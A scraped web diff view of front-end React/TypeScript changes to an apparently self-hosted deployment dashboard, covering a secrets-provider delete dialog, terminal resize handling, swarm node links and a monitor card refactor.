<div className="flex flex-row gap-1">
|
||||||
|
{permissions?.vaultProvider.update && (
|
||||||
|
<HandleVaultProvider
|
||||||
|
vaultProviderId={provider.vaultProviderId}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
{permissions?.vaultProvider.delete && (
|
||||||
|
<DialogAction
|
||||||
|
title="Delete Secrets Provider"
|
||||||
|
description="Deployments referencing this provider will fail. Are you sure?"
|
||||||
|
type="destructive"
|
||||||
|
onClick={async () => {
|
||||||
|
await mutateAsync({
|
||||||
|
vaultProviderId:
|
||||||
|
provider.vaultProviderId,
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
toast.success(
|
||||||
|
"Secrets provider deleted",
|
||||||
|
);
|
||||||
|
refetch();
|
||||||
|
})
|
||||||
|
.catch(() => {
|
||||||
|
toast.error(
|
||||||
|
"Error deleting the secrets provider",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
className="group hover:bg-red-500/10"
|
||||||
|
isLoading={isRemoving}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{permissions?.vaultProvider.create && (
|
||||||
|
<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
|
||||||
|
<HandleVaultProvider />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -32,7 +32,9 @@ export const TerminalModal = ({
|
|||||||
serverId,
|
serverId,
|
||||||
asButton = false,
|
asButton = false,
|
||||||
}: Props) => {
|
}: Props) => {
|
||||||
const [terminalKey, setTerminalKey] = useState<string>(getTerminalKey());
|
const [terminalKey, setTerminalKey] = useState<string>(() =>
|
||||||
|
getTerminalKey(),
|
||||||
|
);
|
||||||
const [isOpen, setIsOpen] = useState(false);
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
const isLocalServer = serverId === "local";
|
const isLocalServer = serverId === "local";
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css";
|
|||||||
import { AttachAddon } from "@xterm/addon-attach";
|
import { AttachAddon } from "@xterm/addon-attach";
|
||||||
import { ClipboardAddon } from "@xterm/addon-clipboard";
|
import { ClipboardAddon } from "@xterm/addon-clipboard";
|
||||||
import { useTheme } from "next-themes";
|
import { useTheme } from "next-themes";
|
||||||
|
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
|
||||||
import { getLocalServerData } from "./local-server-config";
|
import { getLocalServerData } from "./local-server-config";
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
@@ -40,11 +41,22 @@ export const Terminal: React.FC<Props> = ({ id, serverId }) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
const addonFit = new FitAddon();
|
const addonFit = new FitAddon();
|
||||||
|
const clipboardAddon = new ClipboardAddon();
|
||||||
|
term.loadAddon(clipboardAddon);
|
||||||
|
fixMacOsAltKeys(term);
|
||||||
|
|
||||||
|
// @ts-ignore
|
||||||
|
term.open(termRef.current);
|
||||||
|
// @ts-ignore
|
||||||
|
term.loadAddon(addonFit);
|
||||||
|
addonFit.fit();
|
||||||
|
|
||||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||||
|
|
||||||
const urlParams = new URLSearchParams();
|
const urlParams = new URLSearchParams();
|
||||||
urlParams.set("serverId", serverId);
|
urlParams.set("serverId", serverId);
|
||||||
|
urlParams.set("cols", term.cols.toString());
|
||||||
|
urlParams.set("rows", term.rows.toString());
|
||||||
|
|
||||||
if (serverId === "local") {
|
if (serverId === "local") {
|
||||||
const { port, username } = getLocalServerData();
|
const { port, username } = getLocalServerData();
|
||||||
@@ -56,16 +68,22 @@ export const Terminal: React.FC<Props> = ({ id, serverId }) => {
|
|||||||
|
|
||||||
const ws = new WebSocket(wsUrl);
|
const ws = new WebSocket(wsUrl);
|
||||||
const addonAttach = new AttachAddon(ws);
|
const addonAttach = new AttachAddon(ws);
|
||||||
const clipboardAddon = new ClipboardAddon();
|
|
||||||
term.loadAddon(clipboardAddon);
|
|
||||||
|
|
||||||
// @ts-ignore
|
|
||||||
term.open(termRef.current);
|
|
||||||
// @ts-ignore
|
|
||||||
term.loadAddon(addonFit);
|
|
||||||
term.loadAddon(addonAttach);
|
term.loadAddon(addonAttach);
|
||||||
addonFit.fit();
|
|
||||||
|
const sendResize = (cols: number, rows: number) => {
|
||||||
|
if (ws.readyState === WebSocket.OPEN) {
|
||||||
|
ws.send(JSON.stringify({ type: "resize", cols, rows }));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
term.onResize(({ cols, rows }) => sendResize(cols, rows));
|
||||||
|
|
||||||
|
const resizeObserver = new ResizeObserver(() => addonFit.fit());
|
||||||
|
if (termRef.current) {
|
||||||
|
resizeObserver.observe(termRef.current);
|
||||||
|
}
|
||||||
|
|
||||||
return () => {
|
return () => {
|
||||||
|
resizeObserver.disconnect();
|
||||||
ws.readyState === WebSocket.OPEN && ws.close();
|
ws.readyState === WebSocket.OPEN && ws.close();
|
||||||
};
|
};
|
||||||
}, [id, serverId]);
|
}, [id, serverId]);
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ export const DocLinks = () => (
|
|||||||
<ExternalLink className="h-3 w-3" />
|
<ExternalLink className="h-3 w-3" />
|
||||||
</a>
|
</a>
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="text-xs text-primary underline underline-offset-4 inline-flex items-center gap-1"
|
className="text-xs text-primary underline underline-offset-4 inline-flex items-center gap-1"
|
||||||
>
|
>
|
||||||
Cluster Settings
|
Cluster Settings
|
||||||
@@ -85,7 +85,7 @@ export const SwarmNotAvailable = ({
|
|||||||
<li>
|
<li>
|
||||||
Check the{" "}
|
Check the{" "}
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="text-primary underline underline-offset-4"
|
className="text-primary underline underline-offset-4"
|
||||||
>
|
>
|
||||||
Cluster Settings
|
Cluster Settings
|
||||||
@@ -130,7 +130,7 @@ export const ServicesError = ({
|
|||||||
<li>
|
<li>
|
||||||
Network connectivity issues to a remote server — check{" "}
|
Network connectivity issues to a remote server — check{" "}
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="text-primary underline underline-offset-4"
|
className="text-primary underline underline-offset-4"
|
||||||
>
|
>
|
||||||
Cluster Settings
|
Cluster Settings
|
||||||
@@ -183,7 +183,7 @@ export const NoServices = ({ nodeCount, onRefresh }: NoServicesProps) => (
|
|||||||
Worker nodes need to pull images from a shared registry. Configure one
|
Worker nodes need to pull images from a shared registry. Configure one
|
||||||
in{" "}
|
in{" "}
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="text-primary underline underline-offset-4"
|
className="text-primary underline underline-offset-4"
|
||||||
>
|
>
|
||||||
Cluster Settings
|
Cluster Settings
|
||||||
@@ -255,7 +255,7 @@ export const NoRunningContainers = ({
|
|||||||
<li>
|
<li>
|
||||||
Images can't be pulled on worker nodes — verify your{" "}
|
Images can't be pulled on worker nodes — verify your{" "}
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="text-primary underline underline-offset-4"
|
className="text-primary underline underline-offset-4"
|
||||||
>
|
>
|
||||||
registry configuration
|
registry configuration
|
||||||
|
|||||||
@@ -303,7 +303,7 @@ export const ShowSwarmContainers = ({ serverId }: Props) => {
|
|||||||
<p className="mt-2 text-xs">
|
<p className="mt-2 text-xs">
|
||||||
Manage nodes in{" "}
|
Manage nodes in{" "}
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="underline underline-offset-4"
|
className="underline underline-offset-4"
|
||||||
>
|
>
|
||||||
Cluster Settings
|
Cluster Settings
|
||||||
|
|||||||
@@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) {
|
|||||||
serverId,
|
serverId,
|
||||||
});
|
});
|
||||||
|
|
||||||
if (isPending) {
|
const totalNodes = nodes?.length ?? 0;
|
||||||
return (
|
const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? [];
|
||||||
<div className="w-full max-w-7xl mx-auto">
|
const managerNodes =
|
||||||
<div className="mb-6 border min-h-[55vh] flex rounded-lg h-full items-center justify-center text-muted-foreground">
|
nodes?.filter(
|
||||||
{/* <div className="flex items-center justify-center h-full text-muted-foreground"> */}
|
(node) =>
|
||||||
|
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
|
||||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[55vh]">
|
) ?? [];
|
||||||
<span>Loading...</span>
|
|
||||||
<Loader2 className="animate-spin size-4" />
|
|
||||||
</div>
|
|
||||||
{/* </div> */}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!nodes) {
|
|
||||||
return (
|
|
||||||
<div className="w-full max-w-7xl mx-auto">
|
|
||||||
<div className="mb-6 border min-h-[55vh] flex justify-center items-center rounded-lg h-full">
|
|
||||||
<div className="flex items-center justify-center h-full text-destructive">
|
|
||||||
<span>Failed to load data</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
const totalNodes = nodes.length;
|
|
||||||
const activeNodesCount = nodes.filter(
|
|
||||||
(node) => node.Status === "Ready",
|
|
||||||
).length;
|
|
||||||
const managerNodesCount = nodes.filter(
|
|
||||||
(node) =>
|
|
||||||
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
|
|
||||||
).length;
|
|
||||||
const activeNodes = nodes.filter((node) => node.Status === "Ready");
|
|
||||||
const managerNodes = nodes.filter(
|
|
||||||
(node) =>
|
|
||||||
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
|
|
||||||
);
|
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
|
||||||
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
|
||||||
<header className="flex items-center flex-wrap gap-4 justify-between">
|
<header className="flex items-center flex-wrap gap-4 justify-between">
|
||||||
<div className="space-y-1">
|
<div className="space-y-1">
|
||||||
@@ -85,7 +51,9 @@ export default function SwarmMonitorCard({ serverId }: Props) {
|
|||||||
{!serverId && (
|
{!serverId && (
|
||||||
<Button
|
<Button
|
||||||
onClick={() =>
|
onClick={() =>
|
||||||
window.location.replace("/dashboard/settings/cluster")
|
window.location.replace(
|
||||||
|
"/dashboard/docker?tab=swarm&subtab=nodes",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
>
|
>
|
||||||
<Settings className="mr-2 h-4 w-4" />
|
<Settings className="mr-2 h-4 w-4" />
|
||||||
@@ -94,93 +62,114 @@ export default function SwarmMonitorCard({ serverId }: Props) {
|
|||||||
)}
|
)}
|
||||||
</header>
|
</header>
|
||||||
|
|
||||||
<div className="grid gap-6 lg:grid-cols-3">
|
{isPending ? (
|
||||||
<Card className="bg-background">
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
<span>Loading...</span>
|
||||||
<CardTitle className="text-sm font-medium">Total Nodes</CardTitle>
|
<Loader2 className="animate-spin size-4" />
|
||||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
</div>
|
||||||
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
) : !nodes ? (
|
||||||
</div>
|
<div className="flex items-center justify-center min-h-[45vh] text-destructive">
|
||||||
</CardHeader>
|
<span>Failed to load data</span>
|
||||||
<CardContent>
|
</div>
|
||||||
<div className="text-2xl font-bold">{totalNodes}</div>
|
) : (
|
||||||
</CardContent>
|
<>
|
||||||
</Card>
|
<div className="grid gap-6 lg:grid-cols-3">
|
||||||
|
<Card className="bg-background">
|
||||||
|
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||||
|
<CardTitle className="text-sm font-medium">
|
||||||
|
Total Nodes
|
||||||
|
</CardTitle>
|
||||||
|
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||||
|
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<div className="text-2xl font-bold">{totalNodes}</div>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
|
||||||
<Card className="bg-background">
|
<Card className="bg-background">
|
||||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
<CardTitle className="text-sm font-medium">
|
<CardTitle className="text-sm font-medium">
|
||||||
Active Nodes
|
Active Nodes
|
||||||
</CardTitle>
|
</CardTitle>
|
||||||
<Badge variant="green">Online</Badge>
|
<Badge variant="green">Online</Badge>
|
||||||
</div>
|
</div>
|
||||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||||
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||||
</div>
|
</div>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent>
|
<CardContent>
|
||||||
<TooltipProvider>
|
<TooltipProvider>
|
||||||
<Tooltip>
|
<Tooltip>
|
||||||
<TooltipTrigger>
|
<TooltipTrigger>
|
||||||
<div className="text-2xl font-bold">
|
<div className="text-2xl font-bold">
|
||||||
{activeNodesCount} / {totalNodes}
|
{activeNodes.length} / {totalNodes}
|
||||||
</div>
|
|
||||||
</TooltipTrigger>
|
|
||||||
<TooltipContent>
|
|
||||||
<div className="max-h-48 overflow-y-auto">
|
|
||||||
{activeNodes.map((node) => (
|
|
||||||
<div key={node.ID} className="flex items-center gap-2">
|
|
||||||
{node.Hostname}
|
|
||||||
</div>
|
</div>
|
||||||
))}
|
</TooltipTrigger>
|
||||||
</div>
|
<TooltipContent>
|
||||||
</TooltipContent>
|
<div className="max-h-48 overflow-y-auto">
|
||||||
</Tooltip>
|
{activeNodes.map((node) => (
|
||||||
</TooltipProvider>
|
<div
|
||||||
</CardContent>
|
key={node.ID}
|
||||||
</Card>
|
className="flex items-center gap-2"
|
||||||
|
>
|
||||||
<Card className="bg-background">
|
{node.Hostname}
|
||||||
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
</div>
|
||||||
<div className="flex items-center gap-2">
|
))}
|
||||||
<CardTitle className="text-sm font-medium">
|
|
||||||
Manager Nodes
|
|
||||||
</CardTitle>
|
|
||||||
<Badge variant="green">Online</Badge>
|
|
||||||
</div>
|
|
||||||
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
|
||||||
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
|
||||||
</div>
|
|
||||||
</CardHeader>
|
|
||||||
<CardContent>
|
|
||||||
<TooltipProvider>
|
|
||||||
<Tooltip>
|
|
||||||
<TooltipTrigger>
|
|
||||||
<div className="text-2xl font-bold">
|
|
||||||
{managerNodesCount} / {totalNodes}
|
|
||||||
</div>
|
|
||||||
</TooltipTrigger>
|
|
||||||
<TooltipContent>
|
|
||||||
<div className="max-h-48 overflow-y-auto">
|
|
||||||
{managerNodes.map((node) => (
|
|
||||||
<div key={node.ID} className="flex items-center gap-2">
|
|
||||||
{node.Hostname}
|
|
||||||
</div>
|
</div>
|
||||||
))}
|
</TooltipContent>
|
||||||
</div>
|
</Tooltip>
|
||||||
</TooltipContent>
|
</TooltipProvider>
|
||||||
</Tooltip>
|
</CardContent>
|
||||||
</TooltipProvider>
|
</Card>
|
||||||
</CardContent>
|
|
||||||
</Card>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
|
<Card className="bg-background">
|
||||||
{nodes.map((node) => (
|
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
|
||||||
<NodeCard key={node.ID} node={node} serverId={serverId} />
|
<div className="flex items-center gap-2">
|
||||||
))}
|
<CardTitle className="text-sm font-medium">
|
||||||
</div>
|
Manager Nodes
|
||||||
|
</CardTitle>
|
||||||
|
<Badge variant="green">Online</Badge>
|
||||||
|
</div>
|
||||||
|
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
|
||||||
|
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
|
||||||
|
</div>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<TooltipProvider>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<div className="text-2xl font-bold">
|
||||||
|
{managerNodes.length} / {totalNodes}
|
||||||
|
</div>
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<div className="max-h-48 overflow-y-auto">
|
||||||
|
{managerNodes.map((node) => (
|
||||||
|
<div
|
||||||
|
key={node.ID}
|
||||||
|
className="flex items-center gap-2"
|
||||||
|
>
|
||||||
|
{node.Hostname}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</TooltipProvider>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
|
||||||
|
{nodes.map((node) => (
|
||||||
|
<NodeCard key={node.ID} node={node} serverId={serverId} />
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
</Card>
|
</Card>
|
||||||
);
|
);
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user